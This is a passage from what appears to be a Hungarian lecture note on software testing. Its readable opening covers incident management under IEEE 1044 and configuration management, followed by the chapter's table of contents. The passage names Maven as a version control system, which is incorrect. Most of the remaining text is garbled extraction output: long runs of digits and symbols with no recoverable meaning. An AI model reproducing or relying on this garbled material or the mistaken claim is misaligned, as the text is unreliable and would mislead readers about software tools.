igényel.

A tesztelés időszakában az incidensek fellépése gyakori lehet, de a rendszer váratlan


viselkedése az éles használat közben is jelentkezhet.

Az incidens kezelés az IEEE 1044 (Standard Classification for Software Anomalies) szabvány
szerint: „ A specifikációtól eltérő viselkedés felismerése, megvizsgálása, és az elhárítására
tett intézkedések együttese.”

Az incidensek jelentése a tesztelési folyamat során igen gyakori tevékenység. Eszköze lehet
egy telefonhívás, egy feljegyzés, egy e-mail. Ezeknek az ad-hoc eszközöknek az előnye az
egyszerűség és a gyorsaság, de hátrányuk, hogy a jelentésnek nem marad nyoma, és a
megoldás státusza nem követhető. Ezért az incidensek jelentésére célszerű valamilyen erre a
célra dedikált szoftvert használni. Ezek az eszközök az incidens jelentésétől annak
megoldásáig képesek követni a folyamatokat. Erre alkalmas eszközökre a jegyzet későbbi
fejezetébe láthatunk példát.

7.6 Konfiguráció menedzsment


A fejlesztés folyamata a jelenleg használt inkrementális fejlesztési stratégia alapján a szoftver
különböző verzióinak előállítását jelenti. Ez a tesztelési folyamatra nézve azt jelenti, hogy a
teszteket a rendszer egymás után következő verzióira kell elvégezni.

7-8
Szoftver tesztelés

A rendszer fejlődése során a korábbi rendszer verziókra lefuttatott teszteket a


továbbfejlesztett verziókra is le kell futtatni, bizonyítva azt, hogy a továbbfejlesztés nem
okozott hibát a korábban már implementált funkciók végrehajtásában.

Az inkrementális fejlesztési stratégiát követve tehát a rendszer, és annak helyességét


ellenőrző tesztesetek számos verziója keletkezik. Az egyes verziókhoz tartozó forráskódok,
dokumentációk és tesztesetek nyilvántartására és kezelésére célszerű valamilyen
verziókezelő rendszert használni. A jegyzet írás idején a legtöbbet használt rendszerek erre a
célra az SVN és a Maven programok. Ezek free szoftverek.

7-9
Szoftver tesztelés

Tartalomjegyzék

7 Teszt menedzsment .................................................................................... .................... 7-1


7.1 A tesztelés szervezeti keretei ....................................................................... ............ 7-2
7.2 A tesztmérnök és a tesztelő feladatai ................................................................ ...... 7-3
7.2.1 A tesztelés résztvevői számára szükséges képességek ..................................... 7-4
7.3 Teszttervek, becslések és stratégiák ................................................................. ....... 7-5
7.4 A tesztfolyamat ellenőrzése és követése .............................................................. ... 7-7
7.4.1 Teszt jegyzőkönyvek .................................................................................. ........ 7-7
7.4.2 Teszt folyamat ellenőrzése ........................................................................... ..... 7-7
7.5 Incidens menedzsment ................................................................................. ............ 7-8
7.6 Konfiguráció menedzsment ............................................................................. ......... 7-8

7-10
123456709
6 56  535
56 56  3535   73  3 3 3   56    
3    63 ! "5 3 9# 53 4326$#65673 3 3 
6 523  355%&65359'63 3 3  6 567&6( 65
3 56 56  66 66(26565 6 6265 63%6 23  !7)6 6569
'63 3 3  56 56  66 3326 )6 6 67  667 
236 65 67* 576 56 56556 &6 "5)56 565 6 %55359$6567
6)  6 7623  235!56 53 3 3  3)66 6 265
235)9+6"5 6 73% %6  656656265&3 676()6659
$#6567
,)'63 3 3  56726  6 56 56  26  46   %567763 
23 36 3 3( 575776(6 6  76'6 6 
%6 6 66 (6 6 5556676 3 39
+  56726  6 56 565 3 3 3  72656 6 67563)" 5
%77 !(- %567665 676 6(6  335.2)6% 65265
 2)  6(73/ 52)3. 53 326 )56 6 /6"7
& 3&556 56 &659,63%6&6 6565356726  6 56 56 
6 ( 353 432647&65$#65676*3 3 3  5535&69
$#65673 6)6 7265 3 6% 536 ( 90
1$2313(35
%77  $33&6556726  6 56 56  76 3 3 3 9
$#6567   )3 6566 76(6 6 6 )6 6"5 6 
3 ! 67*6   235&3%6 23  !356  53 &56 56  56 764
095
676.7( "5/4 ( "5 6"5 6  6265  33%6 
23  !7 6  6 565 565359$#6567535&33
 53 ( "5 5.37 6 55 53  6 565 /3 53
5676 546 *( "5 5.46765 53 7 / 3-)
53 65 6 67*( "5 56 )6 '6 (3 3 !  65 6 67*
%73 3   235!9
8959157 676.936 7 /47623&5 % )33556 7 9
:95 675 6.; "5 /4'6 67675  376 3(35356 67 9
<95=

147>) 67676.=

147>) 6767/447>) 676746 6 57 


3  3 6767 55%73 35  6 5556 56 6565
%6 23  235&9
?952 5756( 3(56 56.,  55556726  6 56 56  /4$#6567 6767
!(3 46 %55$#6567 6 7)"5 3 ")6  555567
26  6 56 56  5 6 265  6233 676756 &6 "5)5
56 56 &3% 35 73 69
0
012341562489
482
141415146216244 482
141
5 8544  4   1
 91415145414  51 !"
 ##$13% &'()*+()*
9849# ,-##1 11314#1 141 ."
12$13%8$ 5
5 5
34151462131 /231012 49421%
85
 4& $  5 59 382,1418
992# 44 4 4
34855'5) 5 59 38264
619%41 4$ +  22
#5+$ /423%414 2385$
7831$192# 15
234
4441234156213
954 58# 855 5 59 3826444 414115%24828
3 #%
/$48# 56$9141# 4854&:%2
;2 5 44,$ / 9141215523%414
&<%=$ /5%= 5 44,%24215
012341214
59 +6234621626415913621
14121 426 6$15
14115 2385%15151461# 5
52 5% 158#  2311314#1
584 4 
338 2
4415191146212196/114+ 
##
52 5% 15# 

338 2
4415191%91141584 4+62
% 8582 $6 131415%21
1419 
5/ 9 43
4  412341214+ 915/ $6 1 4 21"
5 2 4
 44 4 59 33 412341214 41234  /61519101234121413
15/%911# 5&
##5% 2
9
4
, 2 4
3381519114 3>22?
911
4
4$85 234$ 
312$3561/982%15191 >;
#1?&9  2,+ 915/ 41234
12141396 
33819 2
444123415191144 4 59 33 9  2

2651413141 
% 8% 5+9
3 4 4 3
 4 15#341234
12141344
21%85%2#1855482%511426 11544 511451 1 /2310##4123412141
1123415
#194 4%1 /@00*231$141234156264%21412341214
152151911 />41 2 
?&2385 2

4 ,>41 2 
?19982+
9%415191
551% %211 /12>41 2 
? $ 2385 2 84 5"
9 38$ 56215#3
% 8%$ 5121513%
# 5
52 5% 15#1 4123412141
##1 6
9## 5 44%4$ +62 3>22?
911
4
4$85 234$ +
338 2 41 />41 2 
?151914 4123412"
1413-3148 # 5
52 5% 15#1 >41 2 
?151914%$85 234$ +

##
52 5% 15#1$6 1314115 
% 85824


012341562489
482
 1012342

45641
382  1411

1413!
" 85821855#482
614!115$
%& 91'(&6)$114 * 4+854
3 45 51 *1 *231,412341214
65-.1 4%41 . 
'1519/2 -6.191215113!14-

*62!*1191 4.+/53414 3
 4
0%&91
"01 .2'(1385 1389 )$6 1 +4822
8"15 2385 42
2385 2389 .123851 *4
8"15 23852 "151591 -915*1
1 *.1+,51  +4+86 1 2

4
31.154"15 . 4
4
%3 9451
.'(6.!3)$1411 *%41 . 
'.582 
1 *
2385 4.#415-62 "
5* 9 42
81 *1514121.#4+ 15 37+ 2385  4
8.!386251541462215- 9# 15196 2385 238988591 .
449 9
985264614
:%;

<
4'(6296456211389 )$64491 . 42-
* %41 . 
'
 51!"
858*23
"44 22 51 
3381.15415191143 5 185
5#4821 *=  %
11'(6 4151)5114!26 1485 234+- 41234156241
151914 .. "44 4+ 7+ 627+  %41 . 
'- 9# 5119855#4+
>%11.51'(?41913!)$3.582621"1+1362.8498462.!
4+8485
5#4 4+165*1
191556331551855#4 
= 65.85 2385 2389840@@ (0@@2395854"15 23852)- 3.!34
1 *982
.1162 32964562123898401855#4+(9.166264231
1/515/5.621)- 
2231216 *23836624"
51/5.1 31233-
9!50@@0@@3151 *.!1"
.5

012341562489
482
315311
338 
4441  
151914
 238541 


8
1 6
9 5 444  1591!5 348
" 9519  #00$%1&12491!
4
 485 234 
 5
5 5 155 #00$%1&12415191485 234  

5 5 '
15115191  3153165(223141441
 8582 15
)31 61 23111855*482
6141159151(3!568
151462158 5+16261 64159,1855*482
-
.$
4
/
50$
4

551-2461#00$ #00$"5114
3414
04+2311-#00$66265 238549+23191 82 05)0
$6"0#)7$806$096:"7);)0)0%<)1=1 5 59 382
412341562665854 58  5)0  $6"09+2314 2385 64

5 54+5! 1
>$ 40?4
 51-4123415*84
5 58%9'10812 5%12
/191'
4115)09+231121461   964111406585-@1A141119
11 913115591 
B
55
C%11/420D4*8*4821-C1231121/852#00$85 234 '
 4223 91519828%;'18*4  C1( 62340 #04;
621 64*2E4 4 59  5155146411( 623854 58  15'
 2385+854 562311141451!5(14 3848*4824D54 58 1 16'
5133!
F821G11510G /2
5 414 482 1-51 4(C1231162
( 623489
4 
 (34!56 /2
5 4123  
91
3
 5 94 231185 23 91 613 ( 623(3 191
(1 96 14 48 34 3  3
( 6234561312'
1451 124
866216161011' 51 /2
5 4101156212
41234156212146161912134 511426 1485 234 
H"1$  91412C441%1&1240$  964111-5)062$6"0
  9641114511491 3)/
1
235
 151314!

6162 36461155'1#00$+
5824 5 59 3$6585 3I  41
62 23+(3+
582 23!26 1239/51)& 52
235
 151314!
  3
4 12145 23+9
 C1 5 59 382192389*48

662 3646(3(441 1526 150A1 
JB51 910B8561-#00$$6"0662121461511426  85
154(546212)1 9131  491 
91585!5115
662  9641164
KL 51
 91 44410:6 44E491-85
 45/2'646864
4(5415)34 9134 2385 4 5/216191 828 915515
4
8   154(54(4485  4
3
M494)410494)4*21-154(54(44854*284  491 $6585
#00$8512146141N4O495
1/
 485121461 5/ 4
O
91 1515494)4*2

012341562489
482
14115591112
12
90512!"#18 $ 3
448%5
&'(
 $)1*+ 623,+1& 311140&6624,5&-5*+&155&6+1 0

5 5854 5. 4&
3
44&6/1&14621 $64 4 59 & 4"/6585011
5 5 &'
48+91 4& &662/  96411424 234. 4%& 4141542.
$
&6621&&15
9833  )1 5& 59 3824+!91+-,5 14 4!
91+-/
+4
4&85 234 +34. 4%&15 412341562452, 5& 5
99 5 4141
15 %8+5%  412341591+46264
15,44 3
+ + 412341444 4+8+&296 +6.8+$/ 1964141&15585534 5
++&2.
$ 412341196+$6491 24%&41&+41+
41414113621&
2319/
+4
542.
$ 41234121444 482 15&-5*+-5%*+
4123415621196+$1&1 $6%46264,562151936264,51 $6%4624 375
211!"1  $15,'2 $982+61+1+4241+112+ / 441+!"25
196+$ $15,011362+4 ' 58234% 91 34815+113624-&*3
414115. 23+858+416236+. 23+854419+
58 843416&1+$26 1&
6 1. %482864 0
+4
5512!"91365,'293  3 3
&  581 858264
5241+1!" $15,' 1515,201.84 ..
32.
$ 4123412141196+$14
91 41&+4.122-&21 $5241+1!151914&155. 23+85++&
4.1  
/!&
+%8 %
1 6
9 5& 44+4 2 3!29 % 25
41+1!91+-/
+4
& 485 234 21 $5241+1!54 . 4+&.
338 41234125
14.13985 223& 91)12542011!16/341445241+1!54
 5
5 5/ +151+&85 234  91)12542011!&
+42 %

5 5
/ +151+91 %151+& &91+14&6/1+$,%15241+1!+19 6+$15&
+ 5
858218553482
& 491)12542011!5241+1!51544 4  412341214142
9+1+85 23 3
++ 5584. 482 9+491 6&13144%

5 5/ +151+
 231&13141 $151964&85 234 2 231185 23  12/
+21: 4 !-5
5 44584. 48 %

5 5/ +15 52862361+
15,4415+34 +8+& 41234142 %151+51 4141&
+ 88491+42-&15
 5
5 5/ +151+ 412341214&
+ %
1 6
9 5& 44+4 29 %
1 12!91+-/
+4
485 234 
3152,412341214&6231+855 482 91+-2
85 +!29 % 14 4!
51.14,26 1485 234 +34. 4%&15 41234142115,441& 44+42+& 91)
12542011!1519141234+3482 48+ %

5 5/ +151+   $*&11
&*+$48&
++8 5 &5842 .
$ 412341196+$1&15&131+1&6&13+
$*&61/58+& 44+4 584. 4885+ & 31 $1412341196+$1&3 55
28/ +151+ 31196+$1& 5 915$&61& 44+4 91 %151++1& 85 23
 4
&2; $9+4514*54621,"131982
/11+'200<85 23&85
% 6223*1 1& /
4485 2323*1 642 5 9+4*22312+
988%842
91 41&+4.14%-&" &8& 41 8 +63141+2/ 21'(


012341562489
482
 10123411961 0111 141

!15 2385 "62 329645621"23898421 1855#4


44"$#  41234%
4
2 
1 231&4
4451'4 236"1
5 5" 441234154(")44584* 4+$*
1 
"662*8
9"6624119613144$914231!1
5 5
84! 8#4! '
,4*1  
%-"
& 858288591 * 4" 
646"1"14./ &4
4 482*
3$131"14 1855#482
" 4 "620%658" 96 * 2385&
/"
141123"131"
',1212542011-"6%10/69 852 $1 126!15!6  " 444 4
31 1211961"14$19! 5 9* 46"
9+ 41*156212412341562
 4  "151936261 3
854 5 315030%658 1 1 23139+
231494 44"1$9151"5!8! 5+ !  ""
584 43115261
1412389
2123"13315489
4/  3  4 3/46246215193624'
"1!14"130" 141&0123"1316
,091-)03#40
,72411- 150
8,7
59
4
551-7
" !13650
:,4 9%51-4 !6415130
;,9
& <51914-=
& 85+21855#482
"
'"1!14"1301"13621"1131123"131">00?*13" %52
5+&0
/15519304!32 85/"91 
09103#40
'315030%658 1 2385 4* 23854"$621 "6624"(54(" 23
1!11" 412341&1/1362115044>  329645622389
41  
 855#
4
44"!
5 1 ,4*1  
%-"
& 85+/885$ ""
 "662215
9
834"!
5 1 98248 231!14'! 5+28   1231!1* 2385 4

012341562489
482
3
 19111 2316 46626131 231162
6621344154154651451231
6621 528 239585828
3491!151914  4
338
41  
"!151913491!1519121 #426 6151855#4 4 31 12
2385 66211  
28 62211226 1$%141854 5489
4
44
491!4#"2
&
'(1 )155491!*(1 )155+3#4,
-.
24 44
 "4491!*/
24 204112346"1226 +3#4,
1.
24 4491!*/
24 2+3#4,
2)3
3 491!*)3
385+3#4,
45 22  
9491!*5 226651451+3#4,
789
9 
9491!*:651451+3#4,
51 4491!64 41 8 2

5 4&65145162
24 2
.
24 4491!62 .
24 44
 "4491!
24 2491!64#"2

.
24 4491!1 
9 85 462
24 2625154146245512341 3
1 122385 854 515;54466213662515414624131982
"131
15591  3 5 "64159131446411<<.
24 44
 "4491!
21 #426 61523
4151;514=; 3131982
"13115 5 =5824
1514411855#4 4=
 31 122385 "13164916624 16
185=  3 5 "64159131446467<662"13164
:651451491!4#"2 89
9 
9491!62 5 22  
9491!
>31491!4#"2
65145123112389#4
44625154146211455123411
1 31 122385 854 5 11854662136# 2
 5=
 239585=8
 5258 9
 598489
9 
9491!1  5 651451
625154146234 
338 
9 85 4
24 2625154146213 9#
5 22  
9491!24 4234 2389#482
 4 2385 "2316
65145162515414624 1185%646514514#"2?491!1 
9 856
 4
24 233 = 
338 3854 5  1185465145162515414624
)3
3 491!21 #426 6159159; 123414 2385 9621
9#  9159; 12341442385 2389 1 3

2*1511855#4
44, 28
4
151969 =1 23111 114=;15 5 912385 4>3 9 =4 491!
=5 2385 4  412341214;1  
44"
4=81 15191  48
3
44
 28 ?4115621 23;26 ;
(1 )155491!915121 #426 615(1 )15523"414# 4
6251541462 1185828 (1 )155 $@>615;59423"415
41  
"!
=8=
1 6
9 5 444  1591;5 3
!9 = 091!91;"
4
485 234  #844#"2?491!151914

012341562489
482
 4
338 41234121413 41  
151913
338 
44
491 4822 5  4151241  
 12219951 4822 5
48241  
151911 41  
1519134!!4914
3
38  91556 482
8 4" 
#2411$ 15%
&

8!! 98195'4144( 5241121 '426 6151414(
9

662114621 85 4 3
119611&
8!!658!  )1*
+1254201152411 5 59 3828 51(541!194 482  2311854 5
223 (5 44  4
, 94 85 23%-00.85 23" 62231 1
&524112  3
41  
416126 64$ 1591513
3
38 4.65854142( 3&62/41  
4&/13
338 
44
52411415121$ 1591'(5  9446 3& 4826!1&
1413%48!583 4! 4 585 4"  01141854 5 5 641591362!1489

4
44524114'2

#2411 #1'82
&2214
+125422355'482463145 &41  
&2214
151
9119114648!83
5 
6 755+125422015126 $
 41512  $
21 '426 6158!8
463145 3
5  662185 23164
6 +1254226 $
463145  2318  $
6314 41 

91662  4 485 23
161845 846223"82848!83
5
 
9951: 4 ;412 2318785! '  41234154<+#11462
& 4'"5 3
85 2316462%!!1519362
658!"5
)1*+125420 !51208!583 408!583 4! 1131 5"2%!1
11 151'4625 41414(91  4123411
96114
)1*+1254201127 11 17 244,8! 1131 5"2
51'4625 %!141414(91  4123411
96114
& 1 41+1
42=2231 3%0151&31 121%$
82
"5151'491
4625 2231 3%$
98" 4, 94
66212389 845
285 23%
24!
951)2 53126 !111 1&412341214$482  5 44  $

51'4%5 6314!141414(91  322312
 4
4&4123415621196114
41
5854 !1$
988! 291 1
51'414(
&5241115191 3 58!! 41 "8! 2

5 4">

012341562489
482
2 53 4
5241121 1514 15
 4 524112!" 4 15
#$ 6%
1 1514& 15'
!( )*55+12542,( )*+1254262 -)512 5319"1.
'1  &'2 ,/ 502"%18%83
5  4123411"961'14!( )*+1.
2542 '1/14'138%8584* 40131''1325 51 1 2313%%6251 6)23.
13%%,915'6''158%83
5  3845
2/85 23"4,)
22 5 230824,558/ 5
91"84,315""15 38411234'6)1226 1462&1'146/15 31 1" " 4)
.
4
' 4( &'
6314%1 91"862 38411234'6)1226 14/1/  '
!38%8 &152/
 5 23082, 3 520/
 5 3845
2/85 23", 3 " 4
)
4
' 4)1" )
4
'' 58%83
54'
 14#4$ )65" ( )*+125425241115191 5141.
%1

!" 4 5 )6& 15'


$%%1 ' 41 08% 4 4
3 ' -9)51 4 741, 18+125420 .
%5162 18+12542011524114)2
',9151' 231/1854 5/2.
23 "
4412 " 44 5,/85 23"/1562'0"" 5"
5
3 '!-9)51 4
7414)21 '226&151251 121'43*14,9/159"19825241115.
199152&85% 914*141' 12 " 4
'1 %%  31214%1,* 19
* 2385'982'52411.4, -9)51 4 741* 23
251*14 3 " 4
'
'91462665!12 " 4
'19)
48582 &
4
251*1426 ,*231  &15.
* 23850 '51*1426 1/ 982123'131'%19)
48562623514121%%1
151913 3
' 4
!3 " 4
'&85% * 40 ' 741!55 4 4
 5151*1426 65 &85
'/85 234828/ 5!5 )641591362%1 &85&
9849:-,"1 '
& 8582

9%* 2385 48/ 5;<&
98492%18554* 40
!3! 1 41+1)
4,1 982'& 4  4 52411,41%%94 12
" 4
'91 15146261* 2385* 40& 15=+<.1'641"1315 12

012341562489
482
 4
 462 3854 54 4 59 3
4422312  4
452231 362423
5
854 431  23
262499  41512496
9
!146261
  "#$291 15146262 12  4
"# 1562134#1 12%5
91 411946261
&# $1' (' 65 )* 1 411
4+15191 ,-141.1

/
4
551!13650
*)
#1/
4
551+2
# #3136504152051 12"15  4  !6 1 482#
"
5 9 4!13656210
!8..#"$44 4 441234121415191144 4 59 3 
)41  
$+151913
338 
44)
#1/
4
551+ 2355012
9
4
.51 1 2316"$44 4 412
9
4 58423# )
#1/
4
551+
12
9
4
3
338 
4415191 3 
44)
#1/
4
551+23 .85 # 
91 "151501"
 51"$4#*)41  
$+151913 2
5  )
#1
/
4
551+151913
338 
4415191)5#24112+)4#912+24. )
#1
/
4
551+5
85#2 584 415191#51231*)
#1/
4
551+15191
,-141.14$5 
61 
 9
382#15!17#51"
62"$14#

$4 2482 # "1515191 131 !141308
94151 !1/
4
551
:;7#41/
4
551
<;#951/
4
551
(

/
4
551
=9"/
4
551
>?#51/
4
551
@&
 1/
4
551
A915$1/
4
551
B-
$51/
4
551
C11C5/
4
551
 
9/
4
551

012341562489
482
 
91
4
551
491
4
551
0
 4
4
551
0 2 4

4
551
1
 
4
551
11 12 5! 5
99 5" 9!
 3#$4151 %1
4
551&'(2231)62*5+
,1365+-23*5+2
9.
4/ 51)4" #
4
551&251)44 41 14 3 5810
15415191!!13*523 58115415191!51)44 4828 !2
1/191 1 13!
!
) 8.2)83 56%+2
1/*!!1546585"  )15 2385.5641
0
3
441 #41  
&04 296456223899 5"62 5 44 1 #$4151 %1
0
4
551&046  5811541519915" !!
 #
4
551&1519134 4
3.% 5 0
9115198
9 5! 5
99 5)451"9 / 2
131152+!64151996
1 1 1! 5! 5
99 5251)4'5556 -23#$4151 %1
0
4
551&1519915/.5412341514+ 3
5 )
5 9 4" 9!
911 12!662
3+491 15+3+!6622!11231)1/136264+5)* 465851 
51%8285.
5! 59 3821214631 )15 2385.15+23191 !112 384"31514123
!
2 83 "91 /  !848/   4 4"9 /%6 51 1274 115624
2#894
4
551&': 2
5.,1365+-91418.3 1  581154
151914)44 451"2 !; "94 3#$4151 %1
4
551&" 3
3 " 15144"

2
3 )44 4851+!14"1 %854
3.3 91  48
3
44646!23142
0
11441!4
2#8951
4
551&'< 231=,1365+-91 5811541519151)490
 23
" 823
 #41  
&51)424123415191!5
! 1510
136261 2385 4."94 
 !1%48 ! )8/51231315
! 5
15!*5174! )8/5
! 4> 1 2
!)!
 54822 537.
5 54%14*! 58410
1562124123415621!" 23
25114#8951
4
551&04 2385 41234154
)!
 5482
!62 ! 2
5..9
5
!15%85 234828 "
 41234120
1484584 4.9  /
<3
5 "94 9!
 23
)4%1
/1!41!120
14631 
/1!49
5
! 62)!.! 
234828% 5)
!
338! 23
)4%1)10
4 4 4.28 84
2#?


4
551&'$2964562,1365+- !
) 8.2318557482 8591 
44
5! 5
99 5)44 4/ 51 3122312 5811541519140184% 5 91#?



4
551& 5811541519 23
)
51)4" 91 3185574
44646!"
23

3%  23*5+2
9.
4853185574
44296456223899 5> 1 #?


4
551&29645622389 6 1% 3185574% "62 23*5+#41  
&
29645622389 26 " !!
 #?

4
551&% 5 91 581154150
191  5! 5
99 5)
51)4
#$)
4
551&'> ,1365+-21 7426 6%15 3 58115415191!51)482 1
)15464154+54114+)* +%6
2#@51
4
551&'@51,1365+-  )44 4/ 51;/ 62;/  3 581154
15191!14" 97  91 
44)1546415 92

012341562489
482

51
4
551
5136521 426 615 15 2385415121
98215!1"5  4
338 4123412141315191"14#$
51
4
551
21 426 61592311"1444 4 4"98223 5% 6!4&158824#'3
"%5((21 23
2&  41234156265231146" 5" 59 3) *
 9
3"
854 5"1154+ 15 238582) 5 *151"14#'3  4 ,
4
5515 2385-
 4 ""
)2&  4123415191")3)" )9
3 482 65"%5231146"91 41-
13)1 !41234121414#
.1991 51*9
 /,1/5!
4
5512 "-' !2311365
58115415191) 411562124123415622
8,2 "1 !2314 "51#'3
 4 ,
4
551 2385 4"1314)011514"13625144 4828 &
5!  5-
" 59 38214)4825641
3828 &915!45982412341"% 1"*65851 !
91 1156215"6234621
5)182858212146&915! 348"6621"1
"11234%59 )*585 4& !089)5!1982
5! 911514156 36261&
915!1",2 "1 !231"155514) #
$2 
9
4
5516514511365+ !91"()"&9)4 334151 1

4
551&1 !")64155154 9  334151 1
4
551 3 581154151-
91"141 !98248&2
10144 4 51& )  2 
9
4
5519)-
1 5" 5
99 5651451%585 2341 !151914 3 58115415191)"(3%5#
$0
 *4
4
5515411234"6*1226 13651 !
5! 91, )3-
92423
5 854 4 41234156213&9155!15"
584
3 4" 315"%5(44"6621"
238984#$,
4
551 1")"%5(44"6621"1",2 "1 !623 59 384"%5-
)4
800 3 58115415191)1"#'3 623 59 31))85 441512 !
2383 56"
29
#66585 0
 *4
4
551018554 4+ !&
!
"6444 482
" ",2 " 3782383 56"84"%514
800& !+ !&
!,2 "
3152 8"6624#$0
 *4
4
551+ !)2"
) 85 4&
!
/,1/5!
4
55191"(626448
33 #918554 496 + !)2&
!
41  
*15190156(223122385 41 !%44121"
584
33 & !+ !&

!"%5(-"%5(#'3 511426  61:2115(56 !31441585 234 4#
; 4184134 511426 1485 234"& ,
4
5519)12385 41 !1"64
"
584
3&1551"13121401 "
584
382
" 4 31 62341  
*-
1 !%44121 5" 59 33 #
$21,
) 
4
5512( 3462136541512115469
 2385-
 4&9)4 31) ),
4
5514*2
"#$;0066
<!=11123"(3315
1 165!1341414 >100( 623854 5"%5(44"6621"( 34621&9  3
"
15 238582 1 !4123412146231"64$;0066
<!=11 1")"%5(44
 4
"9146261 2385  21,
) 
4
551-4#
= 9*51-9)4 641513
$
! 34 3152*658"1214601981954144%"& 2 9*51)4 15-
191" 23111"23898 15"%5(44"6621"14 11858"#$3 5800) "
! " 00  238542 9*514*2
"4
#?0621@124
#;00621@124

012341562489
482
1111124 !"#$
%&  1124
'&()#1124
*& 1124
+44

+452,16221$
-&.+41124
/!(1124
!84, 40,
1 & 141+192 23123111241,15621241234156261
, 23+85, 404854
3 4
241234121412262354,14612 71+482 9951:4592
2
715, 23+85828 5)8 5 91++14592+ 1
+6;121213 71<1314 8=00
11242 9951:15199157
5 52
326235141211+
#
+7 >5191+4"2
+7 8021519
8#
+7  >5191+4:"12 ?
+7 802 )18555482
2$ 715, 23+85828 5
51,14626 @+2+155282 9951:151911 6232
8 854
3 4
22
+7 802
18555482
2 4 52 59 3+ 5
852 +8=001124:121461++6 12@5A+"
A368#
+7 >5191+4:, 23+85, 40B
8=00=1 ;1 + 1:=00C1< 1+1;321$
D8=004,
3 4
+ + 1:=00=415125462 1+1;321$
8=00#

21 + 1:=00@4 1+1;321$


%8=001124(17 542:=00?662125 918555482 $
)8 84,1 ; 
9:151912,13 11 1682 9951:"44 4 59 30151"
912,13 8#
+7 >5191+4:151912 5 91461+,
338 ++ 21+;151
5
852646212715@5;17+85, 40 2 31 11282 9951:151912,132@5A+,
3"
38 ;
448#
+7 >5191+4:1519121+211234@5
=00=1 ;1 + 1BE6,8+112141+,
1 502269142 9<+2 3 5"
2 59 382415<125496+1665291852=008,1 ;1:1855548223@226 12
65;85,  3 52 59 38285 23 7@  A+ 6236459284059151 26624
2@5;41 22
23@226  + .21" 1+49136185554828  41234266212
152623546212
8=00=1 ;1 + 1:, 23+85 48 5 8,1 ;1:"1+566
91362646219+;1+1 112266212146+1F954185554, 408=00=1 ;"
1 + 1:1519147151,14<@21 18=001124:1519 581+;154<126+4
122
2 2131+266212121461+5123152@5;1 3152623541448,1 ;1:>5"
51+1+, 1 184,1 ; 
9:1519 581+;154<126+41223@2715 5 91++1
84,1 ; 
9: 581+;154266212146+152@5;62121@5 185554
448,1 ;"
1:2
+7 8582 1 1231G62+ 1
+, 2
+554 8=001124:1519
E 91H4 519  96411+12185554828,
3
8=004,
3 4
+ + 1:
51 +2662121421315915112=00 41+"
42804 6+115+128=00=1 ;1 + 1:",13, 2
+50 +2A31451+@5

012341562489
482

338  41 001124151913 1 41  
15
1913
!"# 8582 1 231$%91 155 !# 3&'4% 
!! ! #41
512(462##!"
98)#* 491 *+85815,51!#% 5 9#!4 "15 23!85*!11462
1523*4
-389
29
1!.1+ 5 59 382 23!852,4#14 5 9#51!9*
!/++1!
31214+1! 412341214131 000

#11 ! 14155
338 !#
2000

#11 ! 11519!191  4* 2,4#5#248 %915149#!


1!66212146!15,5351!9*
! 2 95161248!
3!#1 
5 !
+4! 62354%915
8++ !9891 584
4
441 .1+
5 540
8++8
000

#11 ! 161248!
3!# +4! 6235 3
!45 
!28 84#2%

91  8%48
58626 ,5# 2,4#14/!!191 "151551!%6585%
 1 2,4##! 9#2 !
338 !1!1519#!1!1 12584
4*
3%

 000

#11 ! 191   %9 9#!1!91 "15155625++#


66212146!6 ,5# 34
245+15# 48296466455", 51!% 000

#11 ! 1
338  4*
41  
15191362431451!,51 001124151913#2
11 1 133,%
 000

#11 ! 1 2,4#1423857"15 23!85*8


5 8!48
5 01#!42,!1  92385+*5855*41  
151914 9#!
1!23851 1#2,4#4   ! 3
!&'13%9#!1!2385 2 84%1 1#
2,4#64"
 6 ,51!#/551!+1!%  2,4#49 !85#2 ! 
338 0


#11 ! 1151913%9#!1!2385 34 31 %43422,4#4"
 6 ,51!#
2:1141625++#13#*#+ ! (482 "
1,5!#13 
584
382
2001124;1" 54215196!1591291) !#3924!64   
#
  964116461#!191
234828 1 1#001124- 95115
1914344426621  
#  96411#76 9#!4
4
)
5%
24%
4%
 462! 91< 5181 151!+1855(4 4* %6291
234 4*  2 951
1519143444
22214#
!21551!535
#8+ 85 23
51  5 59 382#5589 
2 !%  85 23% 9#4 
44%
66!4151!22214#
!7=55(4828 23!85 48 59*!!(5# 66211
96!6!1151226 641551!5#3!#/3854 5 "15 23!85*!19)2  231
185 2361226 6+1!%191 +(3 4*28 8+ !#2+#34
2 5114!122
214#
!1519- 951 581!15415196!4
3 4*56417)2 6 %9#!4
001124- 9518/ 22214#
!855(482
 44 4 59 3% 915114
91 155#32 85!!
65855641
3 4!1 22214#
!4%915+1!4 3(4,%
 2311455
#223  
4485 23! 4 4 59 3!# 155 1#2
5)23*4/3148!%  3
!
001124151985 23 %91513
338 4 322214#
!4%!19
4 4 59 33  1#2
5)23*4% 
 2214#
!" #51#+ ,31!1414 !
/346 4114,91 %
 32
9+  44#!4 +1( 2341 14
91 151!5,122341 9135+1  0
!4 #!2
)#* !#85 234 % 


012341562489
482
85 234 4 598 1121915541512 3

228  1   412

485 234! 
1 41512 3

228  211226 "15464151#
!4815623$4144%1 &'2214
15191423%26 % 96 1 &'2(
214
)12!5425241115191 21126221415185 23
91 1(
51$462613#'3'2214
)12!54252411151914 *00+)1,!124- 9(
51151923%5.41  
!2
9 
48
3155
338 #'3'2214

)12!54252411151921995&1
" !8419 6&15#'3 
4441 

!1519134 4
391'2214
1519911196&6491 1(
51$4#*  31551.3622112 662"
828411 312141 3/)0(
4 3

2$42311 14151$491 #255113.12141 %311415191
"
82 3

2$4  5 44915&1 8294 291 4 585 4#
32231"
5 5 4184 )12
21'2214
1519 2385 4  
&
91 32 85!1 &85 23/)0(4 &413214
&4 4 59 3(11 &15.1
91 
449484#0641311 &6'2214
4$!2
24
#5! 4
'2214
6.4 4 9755$48242551.3
& 85 231 &
91 
44.4 4 9
15%56133191 #
8#-31'2214
614755$4824'85 239614641551.384 62
12231 2
5$4 1 &91 
44646159:;:<:;9:<9#
=#>0'2214
>0755$4824?34
2$4 
& 85 231 &15&121
"
983
44>051 &1#@191551.3
& 5
!9140&151"(
4
505 &1 &6269 4$!2
66&1226 61291 "1515(1#
A#>0-19 '2214
>0269 1551.36242 &>0269  5 8
1551.3 3>0(4#
231'2214
15191 )12
21'2214
151913 2
59 


" !85 4 62
338  4 1 &41234121413#
44
B&211
*00+)1,!12415191623$46211 &.!48"8 234885 4#'C1(
41854 5&D4
44*00++
B&-111231321 $426 615&
9
11(
414%1 &1 623.4161&26 6462 1 623.6621 5 8*00+
)1,!1241519114 11854 4 4! !4
9 4!2 #'
B&15"
91
